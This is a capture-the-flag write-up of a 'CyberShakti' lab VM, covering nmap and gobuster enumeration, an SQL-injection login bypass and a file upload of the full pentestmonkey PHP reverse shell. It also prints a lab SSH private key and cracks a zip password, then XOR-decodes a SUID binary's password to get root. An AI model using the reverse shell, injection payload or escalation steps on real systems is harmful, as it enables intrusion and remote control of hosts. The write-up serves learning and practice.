CyberShakti CTF Writeup

PS: I didn’t participate in this CTF, but managed to get the OVF File, which I just popped up on the VMWare

  1. Network Enumeration

nmap -sV -sC -p- -v cybershakti.ctf --min-rate 5000 -o nmap

You get:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 fc:2f:79:8e:60:9e:da:36:7f:94:55:ab:f0:c5:fc:bc (ECDSA)
|_  256 27:e7:61:7b:5e:e0:1c:4b:a0:b0:7a:dc:03:5b:63:73 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Admin Portal
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 00:0C:29:3B:44:69 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

So, we have got Port 22,80 accepting TCP Connections.

Web Enumeration

I get the “Access Restricted” page on it.

It’s time to brute-force some directories to find something juicy.

gobuster dir -u http://cybershakti.ctf/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --threads 100 -k

I got :

/admin                (Status: 301) [Size: 318] [--> http://cybershakti.ctf/admin/]
/assets               (Status: 301) [Size: 319] [--> http://cybershakti.ctf/assets/]

Accessing the /admin endpoint, I got :

We tried to hunt for SQL Injection and found that the password parameter is vulnerable to In-Band SQLi.

“ ' OR 1 -- -“

works, and we get our first flag.

username=admin&password=' OR 1 -- -

W3b_@dm|n_1o9in_Succe$$

From here we move further and find Arbitrary Code Execution using File Upload.

We upload a reverse shell generated using revshells.com

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = 'YOURIP';
$port = YOURPORT;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; powershell -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

Here we upload this reverse shell as shell.php, and it successfully uploads.

Brute-forcing the directories again, to find where my shell.php is.

/uploads              (Status: 301) [Size: 326] [--> http://cybershakti.ctf/admin/uploads/]

I found an uploads directory in uploads/ and found my shell at http://cybershakti.ctf/admin/uploads/shell.php

I got the reverse connection

Privilege Escalation

www-data —> john —> admin —> root

Found these users on the system using /etc/passwd

john and admin seem to be users on this box.

Found these interesting files in the file system:

Some backup.zip is only accessible by John.

Here we see john_private_key at /mnt/host/john_private_key

$ cat john_private_key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Let’s use this key to get SSH as John on CyberShakti.

ssh -i john_private_key john@cybershakti.ctf

And I got SSHed as John into the box

And we get the 2nd Flag as well in the file name john_F1@9.txt

{jo#n_u$er_@ccess_Done!}

Let’s hop on the /backups directory now

Use scp to transfer the file to your local directory

scp -i john_private_key john@cybershakti.ctf:/backups/backup.zip ~/Cybershaktii

The zip is asking for a password to get the file name admin_password.txt

We can crack the password using JohnTheRipper

zip2john backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

We got the password for the zip as “secret123”

We get the admin password as QuvXmdLZx

Let us SSH now as admin to the system.

We got another flag in @dmin_f1@g.txt

$trin9_4dm1n_p0w3r_unl0ck3d

We see a interesting binary in /usr/local/bin called hydra_key which has suid bit set.

Let us do some reverse engineering on this executable

We check the main function

Seems like we need to enter some kind of “secret password” and then it setuid(0) and spawn a root shell.

Nice, we also see a decode_password function let’s analyse the same.

So this function is XORing each character with 0×7b of encoded_password and storing the pointer of param_1.

Looks interesting!!

Our encoded_password is 0x5a0f1e09181e08

Here is a simple Python script to get the password

encoded_pass = 0x5a0f1e09181e08 #encoded-pass
le_converted = list(encoded_pass.to_bytes(7, byteorder='little')) #converting to little endian order.
key = 0x7b #xor-key
decoded = bytes([b ^ key for b in le_converted]) #iterating over each char
decoded_str = decoded.decode('ascii')
print("Decoded password:", decoded_str)

Run this and you we see the decoded password as secret!

Nice, now let’s run the binary.

Yay! We got the root shell on this machine.

We get the root flag at /root/r00t_FL@9.txt

Y0u_H@ve_The_P0w3r_N0w

Yay! We just pwned this box.

  1. Summary

This box was fun, and we used SQLi, File Upload, Password Cracking, Reverse Engineering and SUID exploit to pwn this box!

In case you like this write-up, do follow me on LinkedIn!

https://www.linkedin.com/in/heysanchit/

DM’s are open for any queries!

Thanks for reading!! :)

0
Subscribe to my newsletter

Read articles from मिस्त्री directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

मिस्त्री
मिस्त्री